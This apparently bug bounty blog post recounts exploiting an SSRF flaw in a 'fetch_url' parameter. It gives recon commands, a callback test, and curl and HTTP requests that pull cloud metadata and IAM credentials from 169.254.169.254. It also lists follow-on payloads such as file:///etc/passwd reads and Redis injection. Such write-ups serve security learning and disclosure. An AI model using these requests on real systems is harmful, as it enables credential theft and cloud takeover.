🚰 Not Just a Ping: How SSRF Opened the Gateway to Internal Secrets 🔓🧠

Free Link🎈

Hey there!😁

Image by Copilot

You know that feeling when you poke something just a little, and the whole thing falls apart like a Jenga tower? That’s what this SSRF bug felt like. One small ping… BOOM — internal secrets, cloud keys, and money raining down. 💸😂

If curiosity killed the cat, thank god I’m a hacker, not a cat. 🐱‍💻

Grab your coffee ☕ — here’s the full story of how I accidentally became an internal server’s best friend. 🧑‍🤝‍🧑

🔍 Phase 1: Recon Recon Recon — The Dating App for Bug Hunters ❤️

I was doing what all serious bounty hunters do: Mass recon while binge-watching Netflix in the background. 🎬

Here’s how I started:

[embed]From Recon to RCE: How AI and a cup of Boost Helped Me Turn SQLi into a Command Injection Jackpot… Free Link🎈infosecwriteups.com

subfinder -d target.com -silent > subs.txt
httpx -l subs.txt -mc 200,302 -title -tech-detect -vhost > live.txt
nuclei -l live.txt -t ssrf -severity high,critical

After scanning hundreds of endpoints, one caught my tired eyes:

https://api.target.com/utils/fetch_url?url=https://example.com

Hmm… fetch_url? Sounds like something that might make server-side requests… 👀

💡 SSRF detected (maybe)!

[embed]Bypassing Like a Pro: How I Fooled the WAF and Made It Pay 💸🧢 Hi there!infosecwriteups.com

🧪 Phase 2: Poking with Payloads — “Are You Home, Server?”

The first test was simple.

I changed the url parameter to my Burp Collaborator link:

https://api.target.com/utils/fetch_url?url=http://burp-collaborator-link.burpcollaborator.net

And boom — callback received! 🎯 Server actually fetched the URL I supplied.

✅ Basic SSRF confirmed.

Now, time to level up.

[embed]404 to 0wnage: How a Broken Link Led Me to Admin Panel Access 🚪💻 Hey there!😁infosecwriteups.com

🎯 Phase 3: Exploitation — Internal Party Started 🎉

After confirming SSRF, the real goal was:

• Internal recon
• Access metadata
• Get credentials
• Pivot deeper

🎯 First target? Common internal IP ranges:

http://127.0.0.1
http://169.254.169.254 # cloud metadata
http://10.0.0.1
http://192.168.0.1

I sent this payload:

GET /utils/fetch_url?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: api.target.com

🧨 AND I GOT A RESPONSE!

Gif

[embed]🚪 Login? Who Needs That? Bypassing OAuth Like a Lazy Hacker on Sunday ☀️🔑 Free Link🎈infosecwriteups.com

Proof of Concept:

curl -i 'https://api.target.com/utils/fetch_url?url=http://169.254.169.254/latest/meta-data/'

Response:

{
  "ami-id": "ami-0abcdef1234567890",
  "instance-id": "i-0abcdef1234567890",
  "hostname": "ip-10-0-1-23.ec2.internal",
  "iam": "available"
}

Metadata server = WIDE OPEN 😱.

[embed]🍔 Secret Sauce in Robots.txt 🤫 — How I Found Hidden Admin Panels and Debug URLs Hey there!😁infosecwriteups.com

🛠️ Phase 4: Diving Deeper — Give Me Those Sweet Credentials 🍬

Once I accessed the metadata root, I went specifically for IAM roles.

Sent this payload:

GET /utils/fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: api.target.com

Response:

admin-role

Nice. Next, I pulled the actual credentials:

GET /utils/fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role HTTP/1.1
Host: api.target.com

Response:

{
  "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "IQoJb3JpZ2luX2VjE...",
  "Expiration": "2025-04-29T16:39:57Z"
}

🧠 AWS Access + Secret keys obtained!

✅ Now I could access S3 buckets, EC2, RDS, you name it — using these credentials.

📸 Full Proof of Concept

1. SSRF confirmed using Burp Collaborator link. 2. Accessed Metadata Service:

curl "https://api.target.com/utils/fetch_url?url=http://169.254.169.254/latest/meta-data/"

3. Discovered IAM role:

curl "https://api.target.com/utils/fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

4. Stole AWS Credentials:

curl "https://api.target.com/utils/fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role"

📈 Bonus Techniques for SSRF to Critical Impact 🚀

Here’s more sauce to turn a low SSRF into big bounties:

✅ SSRF -> Cloud Metadata -> AWS Credentials -> Full Cloud Takeover ✅ SSRF -> Access Internal Admin Panels (http://localhost/admin) ✅ SSRF -> Port Scanning Internal Networks (using different url values) ✅ SSRF -> Redis Injection (target redis://127.0.0.1:6379) ✅ SSRF -> File Reading (try file:///etc/passwd) if allowed

🏆 Why Was This a Critical Bug?

• Access to internal-only cloud metadata
• Stolen valid AWS credentials
• Potential full infrastructure compromise
• Ability to spin new servers, download S3 buckets

🚀 This turned a boring url parameter into a P1 Critical report + huge bounty + eternal glory (and also paid for a new gaming setup for me). 🎮

🚀 Final Takeaways

• Always dig deeper once you confirm SSRF — don’t stop at “yay, it calls Burp Collaborator”.
• Target metadata services immediately. That’s where the gold is. 🪙
• Always think about internal network movement: port scanning, admin panels, databases.
• Recon is king — without subdomain and endpoint recon, none of this would have happened.

Connect with Me!

• LinkedIn
• Instagram: @rev_shinchan
• Gmail: rev30102001@gmail.com

EnnamPolVazhlkai😇

#BugBounty, #CyberSecurity, #InfoSec, #Hacking, #WebSecurity, #CTF